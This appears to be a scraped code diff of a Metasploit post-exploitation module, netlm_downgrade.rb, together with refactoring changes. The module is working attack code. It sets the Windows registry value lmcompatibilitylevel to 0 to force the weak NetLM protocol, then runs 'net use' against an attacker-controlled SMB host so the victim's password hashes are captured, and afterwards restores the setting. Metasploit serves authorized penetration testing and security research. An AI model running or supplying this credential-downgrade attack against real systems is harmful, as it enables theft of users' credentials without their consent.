1
- ##
2
- # $Id: netlm_downgrade.rb
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
@@ -31,25 +27,32 @@ def initialize(info={})
31
27
NetLM hashes
32
28
} ,
33
29
'License' => MSF_LICENSE ,
34
- 'Author' => [ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>' , 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>' ] ,
30
+ 'Author' =>
31
+ [
32
+ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>' ,
33
+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
34
+ ] ,
35
35
'SessionTypes' => [ 'meterpreter' ] ,
36
- 'References' => [
37
- [ 'URL' , 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks' ]
38
- ]
36
+ 'References' =>
37
+ [
38
+ [ 'URL' , 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks' ]
39
+ ]
39
40
) )
40
41
41
42
register_options (
42
43
[
43
- OptAddress . new ( 'SMBHOST' , [ true , 'IP Address where SMB host is listening to capture hashes.' ] )
44
+ OptAddress . new ( 'SMBHOST' , [ true , 'IP Address where SMB host is listening to capture hashes.' ] )
44
45
] , self . class )
45
46
end
46
47
47
48
# method to make smb connection
48
49
def smb_connect
49
50
begin
50
51
print_status ( "Establishing SMB connection to " + datastore [ 'SMBHOST' ] )
51
- cmd_exec ( "cmd.exe" , "/c net use \\ \\ #{ datastore [ 'SMBHOST' ] } " )
52
- print_status ( "The SMBHOST should now have NetLM hashes" )
52
+ res = cmd_exec ( "cmd.exe" , "/c net use \\ \\ #{ datastore [ 'SMBHOST' ] } " )
53
+ if res =~ /The command completed successfully/
54
+ print_good ( "The SMBHOST should now have NetLM hashes" )
55
+ end
53
56
rescue
54
57
print_error ( "Issues establishing SMB connection" )
55
58
end
@@ -62,46 +65,50 @@ def run
62
65
# running as SYSTEM and will not pass any network credentials
63
66
print_error "Running as SYSTEM, should be run as valid USER"
64
67
return
68
+ end
69
+
70
+ subkey = "HKLM\\ SYSTEM\\ CurrentControlSet\\ Control\\ Lsa\\ "
71
+ v_name = "lmcompatibilitylevel"
72
+ netlm = registry_getvaldata ( subkey , v_name )
73
+ if netlm . nil?
74
+ print_error ( "Issues enumerating registry values" )
75
+ return
76
+ end
77
+
78
+ if netlm == 0
79
+ print_status ( "NetLM is already enabled on this system" )
80
+
81
+ # call smb_connect method to pass network hashes
82
+ smb_connect
65
83
else
66
- subkey = "HKLM\\ SYSTEM\\ CurrentControlSet\\ Control\\ Lsa\\ "
67
- v_name = "lmcompatibilitylevel"
68
- begin
69
- netlm = registry_getvaldata ( subkey , v_name )
70
- rescue
84
+
85
+ print_status ( "NetLM is Disabled: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
86
+ v = registry_setvaldata ( subkey , v_name , 0 , "REG_DWORD" )
87
+ if v . nil?
88
+ print_error ( "Issues modifying registry value" )
89
+ return
90
+ end
91
+
92
+ post_netlm = registry_getvaldata ( subkey , v_name )
93
+ if post_netlm . nil?
71
94
print_error ( "Issues enumerating registry values" )
95
+ return
72
96
end
73
97
74
- if netlm == 0
75
- print_status ( "NetLM is already enabled on this system" )
98
+ print_good ( "NetLM is Enabled: #{ subkey } #{ v_name } == #{ post_netlm . to_s } " )
76
99
77
100
# call smb_connect method to pass network hashes
78
- smb_connect
79
- else
80
- begin
81
- print_status ( "NetLM is Disabled: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
82
- registry_setvaldata ( subkey , v_name , 0 , "REG_DWORD" )
83
- rescue
84
- print_error ( "Issues modifying registry value" )
85
- end
86
-
87
- begin
88
- post_netlm = registry_getvaldata ( subkey , v_name )
89
- print_good ( "NetLM is Enabled: #{ subkey } #{ v_name } == #{ post_netlm . to_s } " )
90
- rescue
91
- print_error ( "Issues enumerating registry values" )
92
- end
101
+ smb_connect
93
102
94
- # call smb_connect method to pass network hashes
95
- smb_connect
96
-
97
- # cleanup the registry
98
- begin
99
- registry_setvaldata ( subkey , v_name , netlm , "REG_DWORD" )
100
- print_status ( "Cleanup Completed: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
101
- rescue
102
- print_error ( "Issues cleaning up registry changes" )
103
- end
103
+ # cleanup the registry
104
+ v = registry_setvaldata ( subkey , v_name , netlm , "REG_DWORD" )
105
+ if v
106
+ print_status ( "Cleanup Completed: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
107
+ else
108
+ print_error ( "Issues cleaning up registry changes" )
109
+ return
104
110
end
111
+
105
112
end
106
113
end
107
114
end
0 commit comments